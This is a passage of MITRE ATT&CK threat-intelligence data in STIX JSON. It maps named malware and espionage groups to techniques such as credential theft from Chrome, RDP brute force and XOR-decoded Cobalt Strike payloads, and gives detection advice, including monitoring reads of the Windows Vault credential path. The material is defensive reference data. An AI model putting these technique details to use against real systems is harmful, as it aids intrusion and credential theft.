","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f","type":"relationship","created":"2019-01-29T19:36:02.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf","description":"GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.","source_name":"GovCERT Carbon May 2016"}],"modified":"2021-04-25T15:46:06.509Z","description":"[Carbon](https://attack.mitre.org/software/S0335) uses the <code>net group</code> command.(Citation: GovCERT Carbon May 2016)","relationship_type":"uses","source_ref":"malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fbcd00ef-0518-414d-9026-b736f036606a","type":"relationship","created":"2019-03-18T14:05:57.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT40 March 2019","url":"https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html","description":"Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019."}],"modified":"2021-10-04T12:22:40.206Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has used publicly available tools to dump password hashes, including [HOMEFRY](https://attack.mitre.org/software/S0232).(Citation: FireEye APT40 March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd44d6f1-25c5-4365-8a68-323bfc0b3f22","type":"relationship","created":"2019-09-24T13:29:29.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.826Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can check the services on the system.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--439344c5-67e0-4d38-9b91-866392e5e232","type":"relationship","created":"2019-04-29T15:53:48.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2021-10-12T23:00:49.634Z","description":"[APT39](https://attack.mitre.org/groups/G0087) used [Remexi](https://attack.mitre.org/software/S0375) to collect usernames from the system.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92f2db7a-5e38-443b-8b9c-71bbbfd46900","type":"relationship","created":"2022-02-08T15:13:57.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022."}],"modified":"2022-02-08T15:13:57.042Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has stolen user's saved passwords from Chrome.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9932124-c6dd-4c26-a762-bde5be25bed7","type":"relationship","created":"2021-03-15T18:56:36.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."},{"source_name":"Bitdefender Trickbot March 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf","description":"Tudorica, R., Maximciuc, A., Vatamanu, C. (2020, March 18). New TrickBot Module Bruteforces RDP Connections, Targets Select Telecommunication Services in US and Hong Kong. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.782Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) uses brute-force attack against RDP with rdpscanDll module.(Citation: ESET Trickbot Oct 2020)(Citation: Bitdefender Trickbot March 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b1ef4ee2-30bc-4f25-9e77-cf9d6cc576a8","type":"relationship","created":"2021-05-31T16:31:47.812Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.812Z","description":"[Bandook](https://attack.mitre.org/software/S0234) has a command to get the public IP address from a system.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bccf4511-1e01-42ed-ab75-65d558e3fa3f","type":"relationship","created":"2021-01-06T17:58:29.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Check Point Sunburst Teardrop December 2020","url":"https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/","description":"Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:11:07.713Z","description":"[TEARDROP](https://attack.mitre.org/software/S0560) was decoded using a custom rolling XOR algorithm to execute a customized [Cobalt Strike](https://attack.mitre.org/software/S0154) payload.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--32f49626-87f4-4d6c-8f59-a0dca953fe26","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--341ef3b2-3f92-4ea1-b36f-93fdb1d15816","type":"relationship","created":"2021-02-09T14:35:39.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-05-04T19:28:12.937Z","description":"[Bad Rabbit](https://attack.mitre.org/software/S0606) drops a file named <code>infpub.dat</code>into the Windows directory and is executed through SCManager and <code>rundll.exe</code>.","relationship_type":"uses","source_ref":"malware--2eaa5319-5e1e-4dd7-bbc4-566fced3964a","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03e6e755-12a2-4261-b95d-caea6b2bf051","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. 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(2016, March 30). The Windows Vault . Retrieved November 23, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring file reads to Vault locations, <code>&percnt;Systemdrive&percnt;&bsol;Users&bsol;&bsol;&lsqb;Username&rsqb;&bsol;AppData&bsol;Local&bsol;Microsoft&bsol;&bsol;&lsqb;Vault&sol;Credentials&rsqb;&bsol;</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)","modified":"2022-04-20T01:52:20.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c965212c-f60d-4814-97ce-bbbb83382703","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for an extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)","source_ref":"x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b49eaa88-9940-4e38-b247-5d13324422f8","type":"relationship","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.860Z","description":"Monitor executed commands and arguments that may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--bf147104-abf9-4221-95d1-e81585859441","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--818e07c2-4052-4f92-91a9-5c3f2633a8ac","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bbf33c27-569c-4005-b047-63b8ec4e6a22","type":"relationship","created":"2020-01-31T19:00:56.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T19:00:56.776Z","relationship_type":"revoked-by","source_ref":"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8793b289-4b74-4119-8561-a9ad27dacdff","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. 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(2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"}],"modified":"2020-03-19T19:54:26.619Z","description":"[Pisloader](https://attack.mitre.org/software/S0124) uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47a31ea1-4b4d-4141-9d41-07d3b229913c","type":"relationship","created":"2019-01-30T18:58:04.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.955Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can gather the username from the system.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92671dd1-74a4-4bf4-8a04-6577674614d8","type":"relationship","created":"2022-01-05T22:19:18.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"modified":"2022-01-05T22:19:18.033Z","description":"[KONNI](https://attack.mitre.org/software/S0356) has registered itself as a service using its export function.(Citation: Malwarebytes Konni Aug 2021) ","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e1de5dd-5f5c-4014-899b-0ab676322d80","type":"relationship","created":"2020-12-07T20:19:26.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:19:26.938Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can monitor for removable drives being plugged into the compromised machine.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c3405bf-e044-470d-a69f-f6fa8028c2ee","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-16T16:40:40.353Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can download remote files.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--355eb66e-dc0a-44d4-b31d-3dbe7570a0d2","type":"relationship","created":"2019-06-24T13:50:29.667Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2020-03-29T20:00:47.010Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}],"modified":"2020-03-16T15:53:20.375Z","description":"Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. API function names are also reversed, presumably to avoid detection in memory.(Citation: Kaspersky Sofacy)(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-17T00:35:36.650Z","description":"Various implementations of [CHOPSTICK](https://attack.mitre.org/software/S0023) communicate with C2 over HTTP.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1","type":"relationship","created":"2019-01-30T17:33:40.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"Reaqta MuddyWater November 2017","url":"https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/","description":"Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-04-25T23:26:10.871Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f19f6015-ffbe-4998-ad82-403fcfc2e649","type":"relationship","created":"2021-09-13T21:42:19.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-13T21:42:19.730Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) changes the permissions of a payload using the command <code>chmod -R 755</code>.(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--087c222c-4108-4fbf-ac8f-983cd71548fa","type":"relationship","created":"2021-09-07T13:27:47.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. 